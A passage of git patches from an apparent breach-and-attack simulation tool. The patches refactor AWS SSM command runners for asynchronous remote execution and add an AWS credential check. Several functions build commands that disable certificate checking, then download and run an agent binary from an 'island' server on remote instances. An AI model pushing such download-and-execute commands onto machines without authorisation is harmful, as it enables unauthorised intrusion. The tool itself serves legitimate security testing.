-PyCrypto From 4920625e6548969c38296d15b9aa1ba0d6f6d584 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 5 Feb 2019 17:09:45 +0200 Subject: [PATCH 129/201] Added pymssql and pyftpdlib into linux requiremets (linux requirements didn't get updated during rebase) --- monkey/infection_monkey/requirements_linux.txt | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt index 468b748e8..2351d9ecc 100644 --- a/monkey/infection_monkey/requirements_linux.txt +++ b/monkey/infection_monkey/requirements_linux.txt @@ -14,4 +14,6 @@ six ecdsa netifaces ipaddress -wmi \ No newline at end of file +wmi +pymssql +pyftpdlib From 885a7b5398105bf6b0f27b20a39992ca4970fee3 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 5 Feb 2019 18:04:49 +0200 Subject: [PATCH 130/201] Running on machines asyncly --- monkey/common/cmd/aws_cmd_runner.py | 38 +++--- monkey/common/cmd/cmd_runner.py | 110 +++++++++++++++--- monkey/common/cmd/cmd_status.py | 9 ++ .../monkey_island/cc/resources/remote_run.py | 75 ++++++++---- 4 files changed, 173 insertions(+), 59 deletions(-) create mode 100644 monkey/common/cmd/cmd_status.py diff --git a/monkey/common/cmd/aws_cmd_runner.py b/monkey/common/cmd/aws_cmd_runner.py index 1b2d01e42..10927cb81 100644 --- a/monkey/common/cmd/aws_cmd_runner.py +++ b/monkey/common/cmd/aws_cmd_runner.py @@ -1,11 +1,11 @@ import time import logging -import json from common.cloud.aws_service import AwsService from common.cmd.aws_cmd_result import AwsCmdResult from common.cmd.cmd_result import CmdResult from common.cmd.cmd_runner import CmdRunner +from common.cmd.cmd_status import CmdStatus __author__ = 'itay.mizeretz' @@ -23,33 +23,21 @@ class AwsCmdRunner(CmdRunner): self.region = region self.ssm = AwsService.get_client('ssm', region) - def run_command(self, command, timeout=CmdRunner.DEFAULT_TIMEOUT): - # TODO: document - command_id = self._send_command(command) - init_time = time.time() - curr_time = init_time - command_info = None + def query_command(self, command_id): + return self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id) - try: - while curr_time - init_time < timeout: - command_info = self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id) - if AwsCmdResult.is_successful(command_info): - break - else: - time.sleep(0.5) - curr_time = time.time() + def get_command_result(self, command_info): + return AwsCmdResult(command_info) - cmd_res = AwsCmdResult(command_info) + def get_command_status(self, command_info): + if command_info[u'Status'] == u'InProgress': + return CmdStatus.IN_PROGRESS + elif command_info[u'Status'] == u'Success': + return CmdStatus.SUCCESS + else: + return CmdStatus.FAILURE - if not cmd_res.is_success: - logger.error('Failed running AWS command: `%s`. status code: %s', command, str(cmd_res.status_code)) - - return cmd_res - except Exception: - logger.exception('Exception while running AWS command: `%s`', command) - return CmdResult(False) - - def _send_command(self, command): + def run_command_async(self, command): doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript" command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command]}, InstanceIds=[self.instance_id]) diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py index 1875b7d4e..c0541cc0b 100644 --- a/monkey/common/cmd/cmd_runner.py +++ b/monkey/common/cmd/cmd_runner.py @@ -1,7 +1,14 @@ +import time +import logging from abc import abstractmethod +from common.cmd.cmd_result import CmdResult +from common.cmd.cmd_status import CmdStatus + __author__ = 'itay.mizeretz' +logger = logging.getLogger(__name__) + class CmdRunner(object): """ @@ -10,11 +17,12 @@ class CmdRunner(object): # Default command timeout in seconds DEFAULT_TIMEOUT = 5 + # Time to sleep when waiting on commands. + WAIT_SLEEP_TIME = 1 def __init__(self, is_linux): self.is_linux = is_linux - @abstractmethod def run_command(self, command, timeout=DEFAULT_TIMEOUT): """ Runs the given command on the remote machine @@ -22,20 +30,94 @@ class CmdRunner(object): :param timeout: Timeout in seconds for command. :return: Command result """ + c_id = self.run_command_async(command) + self.wait_commands([(self, c_id)], timeout) + + @abstractmethod + def run_command_async(self, command): + """ + Runs the given command on the remote machine asynchronously. + :param command: The command to run + :return: Command ID (in any format) + """ raise NotImplementedError() - def is_64bit(self): + @staticmethod + def wait_commands(commands, timeout=DEFAULT_TIMEOUT): """ - Runs a command to determine whether OS is 32 or 64 bit. - :return: True if 64bit, False if 32bit, None if failed. + Waits on all commands up to given timeout + :param commands: list of tuples of command IDs and command runners + :param timeout: Timeout in seconds for command. + :return: commands' results (tuple of """ - if self.is_linux: - cmd_result = self.run_command('uname -m') - if not cmd_result.is_success: - return None - return cmd_result.stdout.find('i686') == -1 # i686 means 32bit - else: - cmd_result = self.run_command('Get-ChildItem Env:') - if not cmd_result.is_success: - return None - return cmd_result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit + init_time = time.time() + curr_time = init_time + + results = [] + + while (curr_time - init_time < timeout) and (len(commands) != 0): + for command in list(commands): + CmdRunner._process_command(command, commands, results, True) + + time.sleep(CmdRunner.WAIT_SLEEP_TIME) + curr_time = time.time() + + for command in list(commands): + CmdRunner._process_command(command, commands, results, False) + + for command, result in results: + if not result.is_success: + logger.error('The following command failed: `%s`. status code: %s', + str(command[1]), str(result.status_code)) + + return results + + @abstractmethod + def query_command(self, command_id): + """ + Queries the already run command for more info + :param command_id: The command ID to query + :return: Command info (in any format) + """ + raise NotImplementedError() + + @abstractmethod + def get_command_result(self, command_info): + """ + Gets the result of the already run command + :param command_info: The command info of the command to get the result of + :return: CmdResult + """ + raise NotImplementedError() + + @abstractmethod + def get_command_status(self, command_info): + """ + Gets the status of the already run command + :param command_info: The command info of the command to get the result of + :return: CmdStatus + """ + raise NotImplementedError() + + @staticmethod + def _process_command(command, commands, results, should_process_only_finished): + """ + Removes the command from the list, processes its result and appends to results + :param command: Command to process. Must be in commands. + :param commands: List of unprocessed commands. + :param results: List of command results. + :param should_process_only_finished: If True, processes only if command finished. + :return: None + """ + c_runner = command[0] + c_id = command[1] + try: + command_info = c_runner.query_command(c_id) + if (not should_process_only_finished) or c_runner.get_command_status(command_info) != CmdStatus.IN_PROGRESS: + commands.remove(command) + results.append((command, c_runner.get_command_result(command_info))) + except Exception: + logger.exception('Exception while querying command: `%s`', str(c_id)) + if not should_process_only_finished: + commands.remove(command) + results.append((command, CmdResult(False))) diff --git a/monkey/common/cmd/cmd_status.py b/monkey/common/cmd/cmd_status.py new file mode 100644 index 000000000..2fc9cc168 --- /dev/null +++ b/monkey/common/cmd/cmd_status.py @@ -0,0 +1,9 @@ +from enum import Enum + +__author__ = 'itay.mizeretz' + + +class CmdStatus(Enum): + IN_PROGRESS = 0 + SUCCESS = 1 + FAILURE = 2 diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index d4ebbed0b..b4da8eaf2 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -7,6 +7,7 @@ from cc.services.config import ConfigService from common.cloud.aws_instance import AwsInstance from common.cloud.aws_service import AwsService from common.cmd.aws_cmd_runner import AwsCmdRunner +from common.cmd.cmd_runner import CmdRunner class RemoteRun(flask_restful.Resource): @@ -18,50 +19,84 @@ class RemoteRun(flask_restful.Resource): self.init_aws_auth_params() instances = request_body.get('instances') island_ip = request_body.get('island_ip') + instances_bitness = self.get_bitness(instances) + return self.run_multiple_commands( + instances, + lambda instance: self.run_aws_monkey_cmd_async(instance['instance_id'], + instance['os'], island_ip, instances_bitness[instance['instance_id']]), + lambda _, result: result.is_success) - results = {} + def run_multiple_commands(self, instances, inst_to_cmd, inst_n_cmd_res_to_res): + command_instance_dict = {} for instance in instances: - is_success = self.run_aws_monkey_cmd(instance['instance_id'], instance['os'], island_ip) - results[instance['instance_id']] = is_success + command = inst_to_cmd(instance) + command_instance_dict[command] = instance - return results + instance_results = {} + results = CmdRunner.wait_commands(command_instance_dict.keys()) + for command, result in results: + instance = command_instance_dict[command] + instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result) - def run_aws_monkey_cmd(self, instance_id, os, island_ip): + return instance_results + + def get_bitness(self, instances): + return self.run_multiple_commands( + instances, + lambda instance: RemoteRun.run_aws_bitness_cmd_async(instance['instance_id'], instance['os']), + lambda instance, result: self.get_bitness_by_result('linux' == instance['os'], result)) + + def get_bitness_by_result(self, is_linux, result): + if not result.is_success: + return None + elif is_linux: + return result.stdout.find('i686') == -1 # i686 means 32bit + else: + return result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit + + @staticmethod + def run_aws_bitness_cmd_async(instance_id, os): + """ + Runs an AWS command to check bitness + :param instance_id: Instance ID of target + :param os: OS of target ('linux' or 'windows') + :return: Tuple of CmdRunner and command id + """ + is_linux = ('linux' == os) + cmd = AwsCmdRunner(instance_id, None, is_linux) + cmd_text = 'uname -m' if is_linux else 'Get-ChildItem Env:' + return cmd, cmd.run_command_async(cmd_text) + + def run_aws_monkey_cmd_async(self, instance_id, os, island_ip, is_64bit): """ Runs a monkey remotely using AWS :param instance_id: Instance ID of target :param os: OS of target ('linux' or 'windows') :param island_ip: IP of the island which the instance will try to connect to - :return: True if successfully ran monkey, False otherwise. + :param is_64bit: Whether the instance is 64bit + :return: Tuple of CmdRunner and command id """ is_linux = ('linux' == os) cmd = AwsCmdRunner(instance_id, None, is_linux) - is_64bit = cmd.is_64bit() - cmd_text = self._get_run_monkey_cmd(is_linux, is_64bit, island_ip) - return cmd.run_command(cmd_text).is_success + cmd_text = self._get_run_monkey_cmd_line(is_linux, is_64bit, island_ip) + return cmd, cmd.run_command_async(cmd_text) - def _get_run_monkey_cmd_linux(self, bit_text, island_ip): + def _get_run_monkey_cmd_linux_line(self, bit_text, island_ip): return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \ bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \ island_ip + r':5000' - """ - return r'curl -O -k https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + bit_text + \ - r'; chmod +x monkey-linux-' + bit_text + \ - r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \ - island_ip + r':5000' - """ - def _get_run_monkey_cmd_windows(self, bit_text, island_ip): + def _get_run_monkey_cmd_windows_line(self, bit_text, island_ip): return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " - def _get_run_monkey_cmd(self, is_linux, is_64bit, island_ip): + def _get_run_monkey_cmd_line(self, is_linux, is_64bit, island_ip): bit_text = '64' if is_64bit else '32' - return self._get_run_monkey_cmd_linux(bit_text, island_ip) if is_linux \ - else self._get_run_monkey_cmd_windows(bit_text, island_ip) + return self._get_run_monkey_cmd_linux_line(bit_text, island_ip) if is_linux \ + else self._get_run_monkey_cmd_windows_line(bit_text, island_ip) def init_aws_auth_params(self): access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True) From acc1c5207d09563afcd1149ba139004c966af55f Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 5 Feb 2019 20:05:54 +0200 Subject: [PATCH 131/201] Documentation & order --- monkey/common/cmd/aws/__init__.py | 0 monkey/common/cmd/{ => aws}/aws_cmd_result.py | 0 monkey/common/cmd/{ => aws}/aws_cmd_runner.py | 12 +- monkey/common/cmd/cmd.py | 11 ++ monkey/common/cmd/cmd_result.py | 1 + monkey/common/cmd/cmd_runner.py | 59 ++++++-- .../monkey_island/cc/resources/remote_run.py | 98 +------------ .../cc/services/remote_run_aws.py | 131 ++++++++++++++++++ 8 files changed, 201 insertions(+), 111 deletions(-) create mode 100644 monkey/common/cmd/aws/__init__.py rename monkey/common/cmd/{ => aws}/aws_cmd_result.py (100%) rename monkey/common/cmd/{ => aws}/aws_cmd_runner.py (80%) create mode 100644 monkey/common/cmd/cmd.py create mode 100644 monkey/monkey_island/cc/services/remote_run_aws.py diff --git a/monkey/common/cmd/aws/__init__.py b/monkey/common/cmd/aws/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/cmd/aws_cmd_result.py b/monkey/common/cmd/aws/aws_cmd_result.py similarity index 100% rename from monkey/common/cmd/aws_cmd_result.py rename to monkey/common/cmd/aws/aws_cmd_result.py diff --git a/monkey/common/cmd/aws_cmd_runner.py b/monkey/common/cmd/aws/aws_cmd_runner.py similarity index 80% rename from monkey/common/cmd/aws_cmd_runner.py rename to monkey/common/cmd/aws/aws_cmd_runner.py index 10927cb81..b4198f642 100644 --- a/monkey/common/cmd/aws_cmd_runner.py +++ b/monkey/common/cmd/aws/aws_cmd_runner.py @@ -1,9 +1,7 @@ -import time import logging from common.cloud.aws_service import AwsService -from common.cmd.aws_cmd_result import AwsCmdResult -from common.cmd.cmd_result import CmdResult +from common.cmd.aws.aws_cmd_result import AwsCmdResult from common.cmd.cmd_runner import CmdRunner from common.cmd.cmd_status import CmdStatus @@ -14,10 +12,10 @@ logger = logging.getLogger(__name__) class AwsCmdRunner(CmdRunner): """ - Class for running a command on a remote AWS machine + Class for running commands on a remote AWS machine """ - def __init__(self, instance_id, region, is_linux): + def __init__(self, is_linux, instance_id, region = None): super(AwsCmdRunner, self).__init__(is_linux) self.instance_id = instance_id self.region = region @@ -37,8 +35,8 @@ class AwsCmdRunner(CmdRunner): else: return CmdStatus.FAILURE - def run_command_async(self, command): + def run_command_async(self, command_line): doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript" - command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command]}, + command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command_line]}, InstanceIds=[self.instance_id]) return command_res['Command']['CommandId'] diff --git a/monkey/common/cmd/cmd.py b/monkey/common/cmd/cmd.py new file mode 100644 index 000000000..8cb2177a2 --- /dev/null +++ b/monkey/common/cmd/cmd.py @@ -0,0 +1,11 @@ +__author__ = 'itay.mizeretz' + + +class Cmd(object): + """ + Class representing a command + """ + + def __init__(self, cmd_runner, cmd_id): + self.cmd_runner = cmd_runner + self.cmd_id = cmd_id diff --git a/monkey/common/cmd/cmd_result.py b/monkey/common/cmd/cmd_result.py index 40eca2c85..d3039736f 100644 --- a/monkey/common/cmd/cmd_result.py +++ b/monkey/common/cmd/cmd_result.py @@ -1,3 +1,4 @@ +__author__ = 'itay.mizeretz' class CmdResult(object): diff --git a/monkey/common/cmd/cmd_runner.py b/monkey/common/cmd/cmd_runner.py index c0541cc0b..6686508a4 100644 --- a/monkey/common/cmd/cmd_runner.py +++ b/monkey/common/cmd/cmd_runner.py @@ -2,6 +2,7 @@ import time import logging from abc import abstractmethod +from common.cmd.cmd import Cmd from common.cmd.cmd_result import CmdResult from common.cmd.cmd_status import CmdStatus @@ -12,7 +13,17 @@ logger = logging.getLogger(__name__) class CmdRunner(object): """ - Interface for running a command on a remote machine + Interface for running commands on a remote machine + + Since these classes are a bit complex, I provide a list of common terminology and formats: + * command line - a command line. e.g. 'echo hello' + * command - represent a single command which was already run. Always of type Cmd + * command id - any unique identifier of a command which was already run + * command result - represents the result of running a command. Always of type CmdResult + * command status - represents the current status of a command. Always of type CmdStatus + * command info - Any consistent structure representing additional information of a command which was already run + * instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' as a field + * instance_id - any unique identifier of an instance (machine). Can be of any format """ # Default command timeout in seconds @@ -23,21 +34,45 @@ class CmdRunner(object): def __init__(self, is_linux): self.is_linux = is_linux - def run_command(self, command, timeout=DEFAULT_TIMEOUT): + def run_command(self, command_line, timeout=DEFAULT_TIMEOUT): """ Runs the given command on the remote machine - :param command: The command to run + :param command_line: The command line to run :param timeout: Timeout in seconds for command. :return: Command result """ - c_id = self.run_command_async(command) - self.wait_commands([(self, c_id)], timeout) + c_id = self.run_command_async(command_line) + return self.wait_commands([Cmd(self, c_id)], timeout)[1] + + @staticmethod + def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res): + """ + Run multiple commands on various instances + :param instances: List of instances. + :param inst_to_cmd: Function which receives an instance, runs a command asynchronously and returns Cmd + :param inst_n_cmd_res_to_res: Function which receives an instance and CmdResult + and returns a parsed result (of any format) + :return: Dictionary with 'instance_id' as key and parsed result as value + """ + command_instance_dict = {} + + for instance in instances: + command = inst_to_cmd(instance) + command_instance_dict[command] = instance + + instance_results = {} + command_result_pairs = CmdRunner.wait_commands(command_instance_dict.keys()) + for command, result in command_result_pairs: + instance = command_instance_dict[command] + instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result) + + return instance_results @abstractmethod - def run_command_async(self, command): + def run_command_async(self, command_line): """ Runs the given command on the remote machine asynchronously. - :param command: The command to run + :param command_line: The command line to run :return: Command ID (in any format) """ raise NotImplementedError() @@ -46,9 +81,9 @@ class CmdRunner(object): def wait_commands(commands, timeout=DEFAULT_TIMEOUT): """ Waits on all commands up to given timeout - :param commands: list of tuples of command IDs and command runners + :param commands: list of commands (of type Cmd) :param timeout: Timeout in seconds for command. - :return: commands' results (tuple of + :return: commands and their results (tuple of Command and CmdResult) """ init_time = time.time() curr_time = init_time @@ -56,7 +91,7 @@ class CmdRunner(object): results = [] while (curr_time - init_time < timeout) and (len(commands) != 0): - for command in list(commands): + for command in list(commands): # list(commands) clones the list. We do so because we remove items inside CmdRunner._process_command(command, commands, results, True) time.sleep(CmdRunner.WAIT_SLEEP_TIME) @@ -109,8 +144,8 @@ class CmdRunner(object): :param should_process_only_finished: If True, processes only if command finished. :return: None """ - c_runner = command[0] - c_id = command[1] + c_runner = command.cmd_runner + c_id = command.cmd_id try: command_info = c_runner.query_command(c_id) if (not should_process_only_finished) or c_runner.get_command_status(command_info) != CmdStatus.IN_PROGRESS: diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index b4da8eaf2..08a3cb157 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -3,116 +3,30 @@ from flask import request, jsonify, make_response import flask_restful from cc.auth import jwt_required -from cc.services.config import ConfigService -from common.cloud.aws_instance import AwsInstance +from cc.services.remote_run_aws import RemoteRunAwsService from common.cloud.aws_service import AwsService -from common.cmd.aws_cmd_runner import AwsCmdRunner -from common.cmd.cmd_runner import CmdRunner class RemoteRun(flask_restful.Resource): def __init__(self): super(RemoteRun, self).__init__() - self.aws_instance = AwsInstance() + RemoteRunAwsService.init() def run_aws_monkeys(self, request_body): - self.init_aws_auth_params() instances = request_body.get('instances') island_ip = request_body.get('island_ip') - instances_bitness = self.get_bitness(instances) - return self.run_multiple_commands( - instances, - lambda instance: self.run_aws_monkey_cmd_async(instance['instance_id'], - instance['os'], island_ip, instances_bitness[instance['instance_id']]), - lambda _, result: result.is_success) - - def run_multiple_commands(self, instances, inst_to_cmd, inst_n_cmd_res_to_res): - command_instance_dict = {} - - for instance in instances: - command = inst_to_cmd(instance) - command_instance_dict[command] = instance - - instance_results = {} - results = CmdRunner.wait_commands(command_instance_dict.keys()) - for command, result in results: - instance = command_instance_dict[command] - instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result) - - return instance_results - - def get_bitness(self, instances): - return self.run_multiple_commands( - instances, - lambda instance: RemoteRun.run_aws_bitness_cmd_async(instance['instance_id'], instance['os']), - lambda instance, result: self.get_bitness_by_result('linux' == instance['os'], result)) - - def get_bitness_by_result(self, is_linux, result): - if not result.is_success: - return None - elif is_linux: - return result.stdout.find('i686') == -1 # i686 means 32bit - else: - return result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit - - @staticmethod - def run_aws_bitness_cmd_async(instance_id, os): - """ - Runs an AWS command to check bitness - :param instance_id: Instance ID of target - :param os: OS of target ('linux' or 'windows') - :return: Tuple of CmdRunner and command id - """ - is_linux = ('linux' == os) - cmd = AwsCmdRunner(instance_id, None, is_linux) - cmd_text = 'uname -m' if is_linux else 'Get-ChildItem Env:' - return cmd, cmd.run_command_async(cmd_text) - - def run_aws_monkey_cmd_async(self, instance_id, os, island_ip, is_64bit): - """ - Runs a monkey remotely using AWS - :param instance_id: Instance ID of target - :param os: OS of target ('linux' or 'windows') - :param island_ip: IP of the island which the instance will try to connect to - :param is_64bit: Whether the instance is 64bit - :return: Tuple of CmdRunner and command id - """ - is_linux = ('linux' == os) - cmd = AwsCmdRunner(instance_id, None, is_linux) - cmd_text = self._get_run_monkey_cmd_line(is_linux, is_64bit, island_ip) - return cmd, cmd.run_command_async(cmd_text) - - def _get_run_monkey_cmd_linux_line(self, bit_text, island_ip): - return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \ - bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \ - island_ip + r':5000' - - def _get_run_monkey_cmd_windows_line(self, bit_text, island_ip): - return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ - r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ - r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ - r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " - - def _get_run_monkey_cmd_line(self, is_linux, is_64bit, island_ip): - bit_text = '64' if is_64bit else '32' - return self._get_run_monkey_cmd_linux_line(bit_text, island_ip) if is_linux \ - else self._get_run_monkey_cmd_windows_line(bit_text, island_ip) - - def init_aws_auth_params(self): - access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True) - secret_access_key = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_secret_access_key'], False, True) - AwsService.set_auth_params(access_key_id, secret_access_key) - AwsService.set_region(self.aws_instance.region) + RemoteRunAwsService.update_aws_auth_params() + return RemoteRunAwsService.run_aws_monkeys(instances, island_ip) @jwt_required() def get(self): action = request.args.get('action') if action == 'list_aws': - is_aws = self.aws_instance.is_aws_instance() + is_aws = RemoteRunAwsService.is_running_on_aws() resp = {'is_aws': is_aws} if is_aws: + RemoteRunAwsService.update_aws_auth_params() resp['instances'] = AwsService.get_instances() - self.init_aws_auth_params() return jsonify(resp) return {} diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py new file mode 100644 index 000000000..560245556 --- /dev/null +++ b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -0,0 +1,131 @@ +from cc.services.config import ConfigService +from common.cloud.aws_instance import AwsInstance +from common.cloud.aws_service import AwsService +from common.cmd.aws.aws_cmd_runner import AwsCmdRunner +from common.cmd.cmd import Cmd +from common.cmd.cmd_runner import CmdRunner + +__author__ = "itay.mizeretz" + + +class RemoteRunAwsService: + aws_instance = None + + def __init__(self): + pass + + @staticmethod + def init(): + """ + Initializes service. Subsequent calls to this function have no effect. + Must be called at least once (in entire monkey lifetime) before usage of functions + :return: None + """ + if RemoteRunAwsService.aws_instance is None: + RemoteRunAwsService.aws_instance = AwsInstance() + + @staticmethod + def run_aws_monkeys(instances, island_ip): + """ + Runs monkeys on the given instances + :param instances: List of instances to run on + :param island_ip: IP of island the monkey will communicate with + :return: Dictionary with instance ids as keys, and True/False as values if succeeded or not + """ + instances_bitness = RemoteRunAwsService.get_bitness(instances) + return CmdRunner.run_multiple_commands( + instances, + lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async( + instance['instance_id'], RemoteRunAwsService._is_linux(instance['os']), island_ip, + instances_bitness[instance['instance_id']]), + lambda _, result: result.is_success) + + @staticmethod + def is_running_on_aws(): + return RemoteRunAwsService.aws_instance.is_aws_instance() + + @staticmethod + def update_aws_auth_params(): + """ + Updates the AWS authentication parameters according to config + :return: None + """ + access_key_id = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_access_key_id'], False, True) + secret_access_key = ConfigService.get_config_value(['cnc', 'aws_config', 'aws_secret_access_key'], False, True) + AwsService.set_auth_params(access_key_id, secret_access_key) + AwsService.set_region(RemoteRunAwsService.aws_instance.region) + + @staticmethod + def get_bitness(instances): + """ + For all given instances, checks whether they're 32 or 64 bit. + :param instances: List of instances to check + :return: Dictionary with instance ids as keys, and True/False as values. True if 64bit, False otherwise + """ + return CmdRunner.run_multiple_commands( + instances, + lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async( + instance['instance_id'], RemoteRunAwsService._is_linux(instance['os'])), + lambda instance, result: RemoteRunAwsService._get_bitness_by_result( + RemoteRunAwsService._is_linux(instance['os']), result)) + + @staticmethod + def _get_bitness_by_result(is_linux, result): + if not result.is_success: + return None + elif is_linux: + return result.stdout.find('i686') == -1 # i686 means 32bit + else: + return result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit + + @staticmethod + def run_aws_bitness_cmd_async(instance_id, is_linux): + """ + Runs an AWS command to check bitness + :param instance_id: Instance ID of target + :param is_linux: Whether target is linux + :return: Cmd + """ + cmd_text = 'uname -m' if is_linux else 'Get-ChildItem Env:' + return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text) + + @staticmethod + def run_aws_monkey_cmd_async(instance_id, is_linux, island_ip, is_64bit): + """ + Runs a monkey remotely using AWS + :param instance_id: Instance ID of target + :param is_linux: Whether target is linux + :param island_ip: IP of the island which the instance will try to connect to + :param is_64bit: Whether the instance is 64bit + :return: Cmd + """ + cmd_text = RemoteRunAwsService._get_run_monkey_cmd_line(is_linux, is_64bit, island_ip) + return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text) + + @staticmethod + def run_aws_cmd_async(instance_id, is_linux, cmd_line): + cmd_runner = AwsCmdRunner(is_linux, instance_id) + return Cmd(cmd_runner, cmd_runner.run_command_async(cmd_line)) + + @staticmethod + def _is_linux(os): + return 'linux' == os + + @staticmethod + def _get_run_monkey_cmd_linux_line(bit_text, island_ip): + return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \ + bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \ + island_ip + r':5000' + + @staticmethod + def _get_run_monkey_cmd_windows_line(bit_text, island_ip): + return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ + r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ + r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ + r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + + @staticmethod + def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip): + bit_text = '64' if is_64bit else '32' + return RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) if is_linux \ + else RemoteRunAwsService._get_run_monkey_cmd_windows_line(bit_text, island_ip) From 10d513a6d599a4b36ff998466bc8b9647ead965b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 6 Feb 2019 14:28:27 +0200 Subject: [PATCH 132/201] Before performing AWS functions, verify credentials --- monkey/common/cloud/aws_service.py | 9 +++++++++ monkey/monkey_island/cc/resources/remote_run.py | 16 +++++++++++----- .../monkey_island/cc/services/remote_run_aws.py | 11 +++++++++-- 3 files changed, 29 insertions(+), 7 deletions(-) diff --git a/monkey/common/cloud/aws_service.py b/monkey/common/cloud/aws_service.py index 351c032f5..6479721c8 100644 --- a/monkey/common/cloud/aws_service.py +++ b/monkey/common/cloud/aws_service.py @@ -1,4 +1,5 @@ import boto3 +from botocore.exceptions import ClientError __author__ = 'itay.mizeretz' @@ -39,6 +40,14 @@ class AwsService(object): def get_regions(): return AwsService.get_session().get_available_regions('ssm') + @staticmethod + def test_client(): + try: + AwsService.get_client('ssm').describe_instance_information() + return True + except ClientError: + return False + @staticmethod def get_instances(): return \ diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 08a3cb157..5484d23d2 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -15,7 +15,6 @@ class RemoteRun(flask_restful.Resource): def run_aws_monkeys(self, request_body): instances = request_body.get('instances') island_ip = request_body.get('island_ip') - RemoteRunAwsService.update_aws_auth_params() return RemoteRunAwsService.run_aws_monkeys(instances, island_ip) @jwt_required() @@ -25,8 +24,10 @@ class RemoteRun(flask_restful.Resource): is_aws = RemoteRunAwsService.is_running_on_aws() resp = {'is_aws': is_aws} if is_aws: - RemoteRunAwsService.update_aws_auth_params() - resp['instances'] = AwsService.get_instances() + is_auth = RemoteRunAwsService.update_aws_auth_params() + resp['auth'] = is_auth + if is_auth: + resp['instances'] = AwsService.get_instances() return jsonify(resp) return {} @@ -34,9 +35,14 @@ class RemoteRun(flask_restful.Resource): @jwt_required() def post(self): body = json.loads(request.data) + resp = {} if body.get('type') == 'aws': - result = self.run_aws_monkeys(body) - return jsonify({'result': result}) + is_auth = RemoteRunAwsService.update_aws_auth_params() + resp['auth'] = is_auth + if is_auth: + result = self.run_aws_monkeys(body) + resp['result'] = result + return jsonify(resp) # default action return make_response({'error': 'Invalid action'}, 500) diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py index 560245556..0310cd9f9 100644 --- a/monkey/monkey_island/cc/services/remote_run_aws.py +++ 